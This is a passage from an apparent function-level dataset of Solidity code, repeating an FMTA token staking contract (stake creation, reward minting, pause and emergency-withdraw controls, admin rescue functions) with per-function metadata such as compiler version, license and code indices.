event StakeRemoved(address _stakeholder, uint _stakes, uint rewards, uint _blockHeight);
event RewardsWithdrawn(address _stakeholder, uint _rewards, uint blockHeight);
event TokensRescued (address _pebcak, address _ERC20, uint _ERC20Amount, uint _blockHeightRescued);
event ETHRescued (address _pebcak, uint _ETHAmount, uint _blockHeightRescued);
//-------Constructor----------------------
constructor(){
stakingOff = true;
emergencyWDoff = true;
stakeCalc = 500;
stakeCap = 3e22;
rewardsWindow = 6500;
stakeLockMultiplier = 2;
_setupRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
}
//-------Set Token Address----------------
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
//-------Modifiers--------------------------
modifier pause() {
require(!paused, "TokenStaking: Contract is Paused");
_;
}
modifier stakeToggle() {
require(!stakingOff, "TokenStaking: Staking is not currently active");
_;
}
modifier emergency() {
require(!emergencyWDoff, "TokenStaking: Emergency Withdraw is not enabled");
_;
}
//--------Staking Functions-------------------
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
/**
* returns the amount of rewards a user as accrued.
*/
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
/**
* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
function compoundRewards() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(rewardsAccrued());
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit rewardsCompunded(msg.sender, rewardsAccrued(), block.number);
}
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
removeStakeholder(msg.sender);
}
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
/**
* returns a users staked position.
*/
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
function isStakeholder(address _address) public view returns(bool, uint) {
for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
/**
* internal function that adds accounts as stakeholders.
*/
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
/**
* internal function that removes accounts as stakeholders.
*/
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function getStakeholders() public view returns (uint _numOfStakeholders){
return stakeholders.length;
}
function getByIndex(uint i) public view returns (address) {
return stakeholders[i];
}
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
/**
* simple function help track and calculate the rewards
*
* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
emergencyWDoff = _emergencyWD;
}
//----------Pause----------------------
/**
* pauses the Smart Contract.
*/
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
//----Emergency PEBCAK Functions-------
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
function mistakenDepositRescue(address payable _pebcak, uint _etherAmount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
_pebcak.transfer(_etherAmount);
emit ETHRescued (_pebcak, _etherAmount, block.number);
}
}
|
setStakeCalc
|
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
|
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
|
NatSpecMultiLine
|
v0.8.1+commit.df193b15
|
GNU GPLv3
|
ipfs://a400f785fd7c0efa8dfe609a1e481e29e3cbb3465535f4b1ccb79ea207a9d2c5
|
{
"func_code_index": [
11268,
11429
]
}
| 55,512 |
||
Staking
|
contracts/Staking.sol
|
0x11fe61999d17cc5db98cae0de6401b35268d2ced
|
Solidity
|
Staking
|
contract Staking is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
TokenInterface private fundamenta;
/**
* Smart Contract uses Role Based Access Control to
*
* alllow for secure access as well as enabling the ability
*
* for other contracts such as oracles to interact with ifundamenta.
*/
//-------RBAC---------------------------
bytes32 public constant _STAKING = keccak256("_STAKING");
bytes32 public constant _RESCUE = keccak256("_RESCUE");
bytes32 public constant _ADMIN = keccak256("_ADMIN");
//-------Staking Vars-------------------
uint public stakeCalc;
uint public stakeCap;
uint public rewardsWindow;
uint public stakeLockMultiplier;
bool public stakingOff;
bool public paused;
bool public emergencyWDoff;
address private defaultAdmin = 0x82Ab0c69b6548e6Fd61365FeCc3256BcF70dc448;
//--------Staking mapping/Arrays----------
address[] internal stakeholders;
mapping(address => uint) internal stakes;
mapping(address => uint) internal rewards;
mapping(address => uint) internal lastWithdraw;
//----------Events----------------------
event StakeCreated(address _stakeholder, uint _stakes, uint _blockHeight);
event rewardsCompunded(address _stakeholder, uint _rewardsAdded, uint _blockHeight);
event StakeRemoved(address _stakeholder, uint _stakes, uint rewards, uint _blockHeight);
event RewardsWithdrawn(address _stakeholder, uint _rewards, uint blockHeight);
event TokensRescued (address _pebcak, address _ERC20, uint _ERC20Amount, uint _blockHeightRescued);
event ETHRescued (address _pebcak, uint _ETHAmount, uint _blockHeightRescued);
//-------Constructor----------------------
constructor(){
stakingOff = true;
emergencyWDoff = true;
stakeCalc = 500;
stakeCap = 3e22;
rewardsWindow = 6500;
stakeLockMultiplier = 2;
_setupRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
}
//-------Set Token Address----------------
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
//-------Modifiers--------------------------
modifier pause() {
require(!paused, "TokenStaking: Contract is Paused");
_;
}
modifier stakeToggle() {
require(!stakingOff, "TokenStaking: Staking is not currently active");
_;
}
modifier emergency() {
require(!emergencyWDoff, "TokenStaking: Emergency Withdraw is not enabled");
_;
}
//--------Staking Functions-------------------
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
/**
* returns the amount of rewards a user as accrued.
*/
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
/**
* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
function compoundRewards() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(rewardsAccrued());
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit rewardsCompunded(msg.sender, rewardsAccrued(), block.number);
}
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
removeStakeholder(msg.sender);
}
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
/**
* returns a users staked position.
*/
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
function isStakeholder(address _address) public view returns(bool, uint) {
for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
/**
* internal function that adds accounts as stakeholders.
*/
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
/**
* internal function that removes accounts as stakeholders.
*/
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function getStakeholders() public view returns (uint _numOfStakeholders){
return stakeholders.length;
}
function getByIndex(uint i) public view returns (address) {
return stakeholders[i];
}
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
/**
* simple function help track and calculate the rewards
*
* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
emergencyWDoff = _emergencyWD;
}
//----------Pause----------------------
/**
* pauses the Smart Contract.
*/
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
//----Emergency PEBCAK Functions-------
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
function mistakenDepositRescue(address payable _pebcak, uint _etherAmount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
_pebcak.transfer(_etherAmount);
emit ETHRescued (_pebcak, _etherAmount, block.number);
}
}
|
setStakeCap
|
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
|
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
|
NatSpecMultiLine
|
v0.8.1+commit.df193b15
|
GNU GPLv3
|
ipfs://a400f785fd7c0efa8dfe609a1e481e29e3cbb3465535f4b1ccb79ea207a9d2c5
|
{
"func_code_index": [
11647,
11804
]
}
| 55,513 |
||
Staking
|
contracts/Staking.sol
|
0x11fe61999d17cc5db98cae0de6401b35268d2ced
|
Solidity
|
Staking
|
contract Staking is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
TokenInterface private fundamenta;
/**
* Smart Contract uses Role Based Access Control to
*
* alllow for secure access as well as enabling the ability
*
* for other contracts such as oracles to interact with ifundamenta.
*/
//-------RBAC---------------------------
bytes32 public constant _STAKING = keccak256("_STAKING");
bytes32 public constant _RESCUE = keccak256("_RESCUE");
bytes32 public constant _ADMIN = keccak256("_ADMIN");
//-------Staking Vars-------------------
uint public stakeCalc;
uint public stakeCap;
uint public rewardsWindow;
uint public stakeLockMultiplier;
bool public stakingOff;
bool public paused;
bool public emergencyWDoff;
address private defaultAdmin = 0x82Ab0c69b6548e6Fd61365FeCc3256BcF70dc448;
//--------Staking mapping/Arrays----------
address[] internal stakeholders;
mapping(address => uint) internal stakes;
mapping(address => uint) internal rewards;
mapping(address => uint) internal lastWithdraw;
//----------Events----------------------
event StakeCreated(address _stakeholder, uint _stakes, uint _blockHeight);
event rewardsCompunded(address _stakeholder, uint _rewardsAdded, uint _blockHeight);
event StakeRemoved(address _stakeholder, uint _stakes, uint rewards, uint _blockHeight);
event RewardsWithdrawn(address _stakeholder, uint _rewards, uint blockHeight);
event TokensRescued (address _pebcak, address _ERC20, uint _ERC20Amount, uint _blockHeightRescued);
event ETHRescued (address _pebcak, uint _ETHAmount, uint _blockHeightRescued);
//-------Constructor----------------------
constructor(){
stakingOff = true;
emergencyWDoff = true;
stakeCalc = 500;
stakeCap = 3e22;
rewardsWindow = 6500;
stakeLockMultiplier = 2;
_setupRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
}
//-------Set Token Address----------------
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
//-------Modifiers--------------------------
modifier pause() {
require(!paused, "TokenStaking: Contract is Paused");
_;
}
modifier stakeToggle() {
require(!stakingOff, "TokenStaking: Staking is not currently active");
_;
}
modifier emergency() {
require(!emergencyWDoff, "TokenStaking: Emergency Withdraw is not enabled");
_;
}
//--------Staking Functions-------------------
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
/**
* returns the amount of rewards a user as accrued.
*/
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
/**
* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
function compoundRewards() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(rewardsAccrued());
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit rewardsCompunded(msg.sender, rewardsAccrued(), block.number);
}
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
removeStakeholder(msg.sender);
}
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
/**
* returns a users staked position.
*/
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
function isStakeholder(address _address) public view returns(bool, uint) {
for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
/**
* internal function that adds accounts as stakeholders.
*/
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
/**
* internal function that removes accounts as stakeholders.
*/
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function getStakeholders() public view returns (uint _numOfStakeholders){
return stakeholders.length;
}
function getByIndex(uint i) public view returns (address) {
return stakeholders[i];
}
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
/**
* simple function help track and calculate the rewards
*
